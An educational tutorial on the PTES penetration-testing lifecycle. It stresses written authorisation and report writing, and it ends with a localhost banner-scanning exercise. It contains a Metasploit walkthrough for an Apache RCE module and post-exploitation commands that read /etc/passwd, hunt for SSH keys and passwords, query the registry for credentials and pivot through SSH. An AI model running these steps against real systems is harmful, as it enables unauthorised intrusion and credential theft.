Skip to content

Penetration Testing Methodology

💡
Before you start

You need a terminal and Python 3 (python3 --version). One step runs a small end-to-end assessment against services you start on your own machine, so nothing here touches a system you do not own. The report output below was captured by running the code in an isolated sandbox. It helps to have skimmed the reconnaissance and vulnerability-scanning tutorials first — this one ties their phases together.

🔴 The first phase of every real test is written authorisation. A penetration test without a signed scope is not a test — it is an intrusion. Everything below targets 127.0.0.1, and the methodology exists precisely to keep the work inside the boundary the client agreed to.

What is Penetration Testing?

Penetration testing is a controlled, authorized simulation of a real-world attack against a computer system, network, or application. The goal is to identify security weaknesses before malicious attackers do, and to provide the organization with actionable evidence of what could be exploited and how to fix it.

Unlike vulnerability scanning, which uses automated tools to detect known issues, penetration testing involves a skilled tester who thinks creatively, chains vulnerabilities together, and demonstrates the real-world impact of security gaps. A vulnerability scanner might report that a service is running an outdated version. A penetration tester proves that this outdated version can be exploited to gain administrative access to the entire network.

💡
Penetration testing is not hacking

The key difference is authorization and intent. Penetration testers work under a legal agreement with the system owner, follow a defined scope, and aim to improve security. Every action is documented, and the goal is to help the organization, not to cause harm.

There are several types of penetration tests, categorized by the information provided to the tester:

  • Black box - The tester has no prior knowledge of the target systems, simulating an external attacker
  • White box - The tester has full access to source code, architecture diagrams, and credentials, enabling a thorough review
  • Grey box - The tester has partial knowledge, such as user-level credentials or network diagrams, simulating an insider or a compromised account

The PTES Framework

The Penetration Testing Execution Standard (PTES) is the most widely referenced methodology for conducting professional penetration tests. It defines seven phases that cover the complete lifecycle of an engagement, from the initial business discussion through to the final report.

Following a standardized methodology ensures consistency, completeness, and professionalism. It also provides a common language between the tester and the client, making it clear what was tested, how it was tested, and what was found.

  • Pre-engagement Interactions - Defining scope, rules of engagement, timelines, and legal authorization
  • Intelligence Gathering - Collecting information about the target using passive and active reconnaissance
  • Threat Modeling - Identifying the most likely attack vectors and high-value targets based on gathered intelligence
  • Vulnerability Analysis - Discovering and validating security weaknesses in the target environment
  • Exploitation - Attempting to exploit confirmed vulnerabilities to demonstrate real-world impact
  • Post-Exploitation - Determining the value of compromised systems and establishing persistence or pivoting further
  • Reporting - Documenting all findings, evidence, and remediation recommendations in a professional report
💡
Other frameworks exist

PTES is not the only methodology. OSSTMM (Open Source Security Testing Methodology Manual), NIST SP 800-115, and the OWASP Testing Guide are also widely used. Many organizations and testers combine elements from multiple frameworks. The important thing is to follow a structured, repeatable process.

Pre-Engagement Phase

The pre-engagement phase is arguably the most important, because it establishes the legal and operational boundaries for everything that follows. Skipping or rushing this phase leads to scope disputes, legal liability, and incomplete tests.

Scope Definition

The scope document defines exactly what is included in the test and what is off-limits. This must be agreed upon and signed by both parties before any technical work begins.

  • In-scope targets - Specific IP addresses, domains, applications, or network ranges to be tested
  • Out-of-scope targets - Systems that must not be touched (production databases, third-party services, partner networks)
  • Testing window - Dates and hours when testing is permitted, especially for active exploitation
  • Allowed techniques - Whether social engineering, physical access, or denial-of-service testing is permitted
  • Communication plan - Who to contact if critical vulnerabilities are found, and how to report emergencies

Rules of Engagement

# Key items in a Rules of Engagement document:

1. Authorization letter signed by an authorized representative
2. Emergency contact information (24/7 phone number)
3. IP addresses the tester will use (for whitelisting if needed)
4. Data handling requirements (encryption, deletion timelines)
5. Restrictions on exploitation (no data exfiltration, no DoS)
6. Notification requirements (daily status updates, immediate
   notification for critical findings)
7. Retesting terms (will the tester verify fixes after remediation?)
8. Legal protections (hold harmless clause, NDA)
⚠️
Never begin testing without written authorization

A verbal agreement is not sufficient. The authorization document must be signed by someone with the legal authority to permit testing of those systems. Without this, even well-intentioned testing can result in criminal charges under computer fraud and abuse laws.

Reconnaissance and Scanning

Reconnaissance is the information-gathering phase where the tester learns as much as possible about the target before attempting any exploitation. Good reconnaissance dramatically increases the efficiency and effectiveness of later phases.

Passive Reconnaissance

Passive reconnaissance collects information without directly interacting with the target systems. This leaves no trace in the target's logs and is often performed first.

# OSINT tools for passive reconnaissance:

# WHOIS lookup - domain registration details
whois example.com

# DNS enumeration - discover subdomains and mail servers
dig example.com ANY
dig example.com MX
host -t ns example.com

# Subdomain discovery using public certificate transparency logs
# https://crt.sh/?q=%.example.com

# Google dorking - find exposed files and directories
# site:example.com filetype:pdf
# site:example.com intitle:"index of"
# site:example.com inurl:admin

# Shodan - search for internet-connected devices
# https://www.shodan.io/search?query=hostname:example.com

# theHarvester - automated OSINT gathering
theHarvester -d example.com -b google,bing,linkedin

Active Scanning

Active scanning directly probes the target systems to discover open ports, running services, and operating system versions. This phase generates network traffic that may be detected by the target's security monitoring.

# Nmap - the standard network scanner

# Host discovery (ping sweep)
nmap -sn 192.168.1.0/24

# Port scan with service version detection
nmap -sV -sC -p- target.example.com

# Aggressive scan with OS detection (slower but thorough)
nmap -A -T4 target.example.com

# UDP scan (often overlooked but important)
nmap -sU --top-ports 100 target.example.com

# Output results to multiple formats for later analysis
nmap -sV -sC -oA scan-results target.example.com
  • -sV - Probe open ports to determine service and version information
  • -sC - Run default NSE scripts for additional enumeration
  • -p- - Scan all 65535 TCP ports instead of just the top 1000
  • -A - Enable OS detection, version detection, script scanning, and traceroute
  • -oA - Output in all formats (normal, XML, grepable) simultaneously

Vulnerability Analysis and Exploitation

With reconnaissance data in hand, the tester identifies potential vulnerabilities and attempts to exploit them. This is where the penetration test diverges from a vulnerability scan: the tester does not just report that a weakness might exist, but proves it by demonstrating controlled exploitation.

Vulnerability Analysis

Cross-reference the discovered services and versions against known vulnerability databases to identify potential attack vectors.

# Search for known vulnerabilities:

# searchsploit - local copy of Exploit-DB
searchsploit apache 2.4.49
searchsploit openssh 8.2

# Nmap vulnerability scripts
nmap --script vuln target.example.com

# Manual research
# - CVE databases (cve.mitre.org, nvd.nist.gov)
# - Vendor security advisories
# - Exploit-DB (exploit-db.com)
# - GitHub proof-of-concept repositories

Exploitation

Exploitation is the controlled attempt to leverage a vulnerability to gain unauthorized access or demonstrate impact. Always use the minimum force necessary to prove the vulnerability exists.

# Metasploit Framework - the most common exploitation tool

# Start the Metasploit console
msfconsole

# Search for an exploit module
msf6> search type:exploit apache 2.4.49

# Select and configure the exploit
msf6> use exploit/multi/http/apache_normalize_path_rce
msf6 exploit(...)> set RHOSTS target.example.com
msf6 exploit(...)> set RPORT 443
msf6 exploit(...)> set SSL true
msf6 exploit(...)> set LHOST 10.10.14.5

# Check if the target is vulnerable before exploiting
msf6 exploit(...)> check

# Run the exploit
msf6 exploit(...)> exploit
⚠️
Stay within scope at all times

If exploitation leads you to a system that is not in scope, stop immediately and document how you reached it. Contact the client to discuss whether the scope should be expanded. Never access out-of-scope systems, even if you can.

Post-Exploitation and Pivoting

After gaining initial access, the post-exploitation phase determines the true impact of the compromise. The tester explores what data is accessible, whether privilege escalation is possible, and whether the compromised system can be used as a stepping stone to reach other parts of the network.

Post-Exploitation Objectives

  • Privilege escalation - Attempt to elevate from a regular user to administrator or root access
  • Data identification - Locate sensitive data (credentials, PII, financial records) that demonstrates business impact
  • Persistence - Demonstrate how an attacker could maintain access (document the technique but remove any artifacts afterward)
  • Lateral movement - Pivot from the compromised system to other systems on the network
  • Evidence collection - Screenshot and log everything for the report
# Common post-exploitation commands (Linux target):

# Determine current user and privileges
whoami
id
sudo -l

# Enumerate the system
uname -a
cat /etc/os-release
cat /etc/passwd
ls -la /home/

# Search for sensitive files
find / -name "*.conf" -readable 2>/dev/null
find / -name "id_rsa" -readable 2>/dev/null
grep -r "password" /etc/ 2>/dev/null

# Check network connectivity for pivoting
ip addr
ip route
ss -tlnp
cat /etc/hosts

# Common post-exploitation commands (Windows target):

# System information
whoami /all
systeminfo
net user
net localgroup administrators

# Search for credentials
dir /s /b C:\Users\*.txt
dir /s /b C:\Users\*.kdbx
reg query HKLM /f password /t REG_SZ /s

Pivoting

Pivoting uses a compromised system as a relay to access other networks or systems that are not directly reachable from the tester's machine. This often reveals that a single compromised web server can lead to full internal network access.

# Example: SSH port forwarding for pivoting
# After compromising a system with access to an internal network:

# Forward local port 8888 to an internal web server (10.10.10.50:80)
ssh -L 8888:10.10.10.50:80 user@compromised-host

# Now access the internal web server from your browser:
# http://127.0.0.1:8888

# Dynamic SOCKS proxy for scanning the internal network
ssh -D 9050 user@compromised-host

# Route Nmap through the SOCKS proxy
proxychains nmap -sT -Pn 10.10.10.0/24

Writing Professional Pentest Reports

The report is the most important deliverable of a penetration test. It is what the client pays for, and it determines whether vulnerabilities get fixed. A technically brilliant test with a poor report has far less impact than a competent test with an excellent report.

Report Structure

A professional penetration test report typically contains the following sections:

  • Executive summary - A non-technical overview for management that explains the overall risk level, key findings, and recommended priorities (1-2 pages)
  • Scope and methodology - What was tested, what was not tested, the testing methodology used, and the dates of the engagement
  • Findings summary - A table listing all findings sorted by severity, with a risk rating for each
  • Detailed findings - Each vulnerability documented individually with description, evidence, impact, and remediation
  • Attack narrative - A chronological walkthrough of how the tester progressed through the environment, showing how individual findings chained together
  • Remediation roadmap - Prioritized list of fixes grouped into immediate, short-term, and long-term actions
  • Appendices - Raw scan output, tool lists, and methodology references
# Severity rating scale (align with client expectations):

Critical - Immediate exploitation possible with severe business impact
           (e.g., unauthenticated remote code execution on production)

High     - Exploitation likely with significant impact
           (e.g., SQL injection exposing customer database)

Medium   - Exploitation possible under specific conditions
           (e.g., stored XSS in internal application)

Low      - Minimal direct impact but indicates security weakness
           (e.g., verbose error messages, missing security headers)

Informational - Best practice recommendations, no direct vulnerability
               (e.g., consider implementing CSP headers)
🎉
Write for two audiences

The executive summary is for managers who make budget decisions. The detailed findings are for engineers who fix vulnerabilities. Both sections must be excellent. Managers need to understand the business risk. Engineers need enough detail to reproduce and fix each issue without contacting the tester.

Building a Pentest Lab

Before testing real systems, build a practice lab where you can learn tools and techniques safely and legally. A home lab provides an unlimited, consequence-free environment to make mistakes and develop your skills.

Lab Setup Essentials

  • Virtualization software - VirtualBox (free) or VMware Workstation for running multiple virtual machines
  • Attack machine - Kali Linux or Parrot OS, pre-loaded with penetration testing tools
  • Vulnerable targets - Intentionally vulnerable machines for practice
  • Isolated network - Use host-only or internal networking to keep lab traffic off your real network
# Recommended vulnerable machines and platforms:

# Metasploitable 2/3 - Intentionally vulnerable Linux VM
# Download from: https://sourceforge.net/projects/metasploitable/

# DVWA (Damn Vulnerable Web Application)
# Run in Docker:
docker run --rm -it -p 80:80 vulnerables/web-dvwa

# OWASP Juice Shop - Modern vulnerable web application
docker run --rm -p 3000:3000 bkimminich/juice-shop

# HackTheBox and TryHackMe - Online platforms with guided
# challenges ranging from beginner to expert

# VulnHub - Download pre-built vulnerable VMs
# https://www.vulnhub.com/

# Basic lab network setup in VirtualBox:
# 1. Create a Host-Only network (192.168.56.0/24)
# 2. Attach Kali Linux to this network
# 3. Attach vulnerable VMs to the same network
# 4. All machines can communicate but are isolated from the internet
💡
Document your lab work

Keep detailed notes of every machine you compromise in your lab. Write up each exercise as if it were a real pentest report. This builds your reporting skills alongside your technical skills, and creates a portfolio that demonstrates your capabilities to potential employers.

Now Do It Yourself: Run the Methodology End to End in Five Steps

A penetration test is not a bag of tools — it is an ordered process that turns permission into a prioritised, fixable report. You will write the scope that makes the work legal, put the phases in the only order that works, run a miniature assessment through all of them against a lab target, read the report it produces the way a client would, and understand why the report, not the exploit, is the product. The report output below was produced by running the code.

1
Pre-engagement: write the scope that makes it legal

Go: a text editor, before any tool is opened. This is the phase amateurs skip and professionals never do.

Do: write a scope statement that answers four questions in plain words.

TARGETS   : which IPs / domains are in scope   (and which are explicitly OUT)
WINDOW    : the dates/times testing is allowed
DEPTH     : recon only? exploit allowed? social engineering? DoS? (usually NO)
CONTACT   : who to call if something breaks, and the get-out-of-jail authorisation letter

You should see: a one-page document that draws a hard boundary. Everything the rest of the test does must stay inside it. Without this signed, there is no test — only unauthorised access, whatever your intent.

If not: if you cannot name what is out of scope, the scope is not finished. “Everything at acme.test except the payment system and after 2 a.m.” is a scope; “acme.test” alone is a lawsuit waiting to happen.

2
Put the phases in the only order that works

Go: the PTES (Penetration Testing Execution Standard) phases. Each one feeds the next; you cannot skip ahead.

Do: memorise the order and why each depends on the last.

1 Pre-engagement   get permission + scope        (step 1)
2 Reconnaissance   find hosts, ports, versions   -> you can't scan what you haven't found
3 Vuln analysis    match versions to known bugs  -> you can't exploit what you haven't assessed
4 Exploitation     confirm the bug is real       -> only what you found and verified
5 Post-exploit     what could an attacker reach  -> impact, not just "a shell"
6 Reporting        prioritised, fixable findings -> the deliverable

You should see: that the order is not bureaucracy — it is dependency. Exploitation without recon is guessing; a report without analysis is noise. The discipline of the methodology is what separates a useful test from someone randomly running tools.

If not: if you are tempted to jump straight to exploitation, that is exactly the instinct the methodology corrects — the interesting targets only become visible after recon and analysis.

3
Run a miniature assessment through the phases

Go: a terminal in a writable folder. Start three lab services in one terminal so you have an in-scope target:

python3 -c "import socket,threading,time
b={2121:b'220 ProFTPD 1.3.5 ready\r\n',8080:b'HTTP/1.1 200 OK\r\nServer: Apache/2.4.29\r\n\r\nok',2222:b'SSH-2.0-OpenSSH_9.6\r\n'}
def s(p,x):
 k=socket.socket();k.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1);k.bind(('127.0.0.1',p));k.listen(5)
 while 1:
  c,_=k.accept()
  try:c.settimeout(.3);c.recv(200)
  except OSError:pass
  c.sendall(x);c.close()
[threading.Thread(target=s,args=(p,x),daemon=True).start() for p,x in b.items()];time.sleep(300)"

Do: in a second terminal, save assess.py — it does recon (enumerate), analysis (match a knowledge base), and reporting (sort by severity) in one pass — and run it.

import socket, re, datetime
KB = {"ProFTPD 1.3.5": ("CVE-2015-3306","CRITICAL","upgrade / disable mod_copy"),
      "Apache 2.4.29":  ("CVE-2019-0211","HIGH","patch to current 2.4.x")}
def enum(port):
    s = socket.socket(); s.settimeout(0.5)
    try:
        s.connect(("127.0.0.1", port))
        s.sendall(b"HEAD / HTTP/1.0\r\n\r\n" if port == 8080 else b"\r\n")
        raw = s.recv(200).decode(errors="replace")
        m = re.search(r"Server:\s*(.+)", raw); b = m.group(1).strip() if m else raw.strip().splitlines()[0]
        mm = re.search(r"(ProFTPD|Apache|OpenSSH)[/_ ]([0-9.]+)", b)
        return "%s %s" % (mm.group(1), mm.group(2)) if mm else b
    finally: s.close()
findings = []
for port in (2121, 2222, 8080):
    svc = enum(port)
    if svc in KB:
        cid, sev, fix = KB[svc]; findings.append((sev, port, svc, cid, fix))
rank = {"CRITICAL":0,"HIGH":1,"MEDIUM":2,"LOW":3}
findings.sort(key=lambda f: rank[f[0]])
print("PENETRATION TEST REPORT -- 127.0.0.1 --", datetime.date.today())
print("EXECUTIVE SUMMARY: %d finding(s); highest: %s" % (len(findings), findings[0][0] if findings else "none"))
print("%-9s %-6s %-15s %-14s %s" % ("SEVERITY","PORT","SERVICE","CVE","REMEDIATION"))
for sev, port, svc, cid, fix in findings:
    print("%-9s %-6d %-15s %-14s %s" % (sev, port, svc, cid, fix))

You should see: a real report — the phases collapsed into one artifact, worst first:

PENETRATION TEST REPORT -- 127.0.0.1 -- 2026-08-21
EXECUTIVE SUMMARY: 2 finding(s); highest: CRITICAL
SEVERITY  PORT   SERVICE         CVE            REMEDIATION
CRITICAL  2121   ProFTPD 1.3.5   CVE-2015-3306  upgrade / disable mod_copy
HIGH      8080   Apache 2.4.29   CVE-2019-0211  patch to current 2.4.x

If not: if the report is empty, the lab services in the first terminal are not running; the date will be today’s on your machine, not 2026-08-21.

4
Read the report the way a client will

Go: look at the report you just generated, but as the person who has to act on it.

Do: judge it against what makes a pentest report useful rather than alarming.

GOOD report                          USELESS report
-----------------------------------  ----------------------------------
sorted by severity, worst first      a raw tool dump in scan order
each finding has a concrete fix      "you have vulnerabilities"
an executive summary a manager reads 40 pages no one prioritises
findings confirmed, not just guessed every version match asserted as fact

You should see: that your little report already does the good things: severity order, a one-line executive summary, a remediation per finding. That structure is the difference between a report that gets things fixed and one that gets filed. A client does not buy your exploits; they buy the prioritised list of what to fix first.

If not: if a finding has no remediation, it is not finished — a vulnerability you cannot tell someone how to fix is half a finding.

5
Close the loop: re-test after the fixes

Go: imagine the client has patched the two findings and asks you to confirm.

Do: change the lab banners to patched versions and re-run assess.py — the report should come back clean.

# in the first terminal's dict, bump the versions:
2121: b'220 ProFTPD 1.3.6 ready\r\n'
8080: b'HTTP/1.1 200 OK\r\nServer: Apache/2.4.58\r\n\r\nok'
# then re-run assess.py -> EXECUTIVE SUMMARY: 0 finding(s); highest: none

You should see: an empty findings table and “0 finding(s)”. The re-test is the phase that proves your work mattered — a finding is not closed because someone says it is patched, but because you re-tested and it is gone. That verify-don't-trust habit is the same one that runs through every phase of the methodology.

If not: if a finding persists after a “fix”, that is itself a valuable result — the patch did not take, and you just caught it before an attacker did.

🎉
Check yourself before moving on

Without scrolling up: a new tester is proud of getting a shell on the target within an hour. Name the phase they may have skipped that makes the shell worthless — possibly illegal — and the phase that turns their work into something the client can use. Answer: they may have skipped pre-engagement — without a signed scope authorising exploitation of that host, the shell is unauthorised access, not a test. And the phase that creates value is reporting: a prioritised, confirmed, fix-by-fix report is the deliverable the client pays for; a shell with no report is just a trophy.

Now do it without the page: extend assess.py’s knowledge base with a third service and its CVE, add that service to the lab, and regenerate the report. Then write the two-sentence executive summary you would put at the top for a non-technical manager — number of findings, highest severity, and the single most urgent action. That summary, not the scan, is what they will read.

Summary

In this tutorial, you learned:

  • What penetration testing is and how it differs from vulnerability scanning
  • The seven phases of the PTES framework that guide a professional engagement
  • How to define scope, rules of engagement, and legal authorization in the pre-engagement phase
  • Passive and active reconnaissance techniques for gathering intelligence about a target
  • How to analyze vulnerabilities and demonstrate exploitation with tools like Metasploit
  • Post-exploitation techniques including privilege escalation, lateral movement, and pivoting
  • How to structure a professional penetration testing report for both technical and executive audiences
  • How to build an isolated practice lab for developing your skills safely and legally
🎉
You now understand the penetration testing lifecycle!

Start by setting up a home lab and working through vulnerable machines on platforms like TryHackMe and HackTheBox. Follow the PTES methodology for each exercise, and write a report for every machine you complete. Methodology and documentation are what separate a professional penetration tester from someone who just runs tools.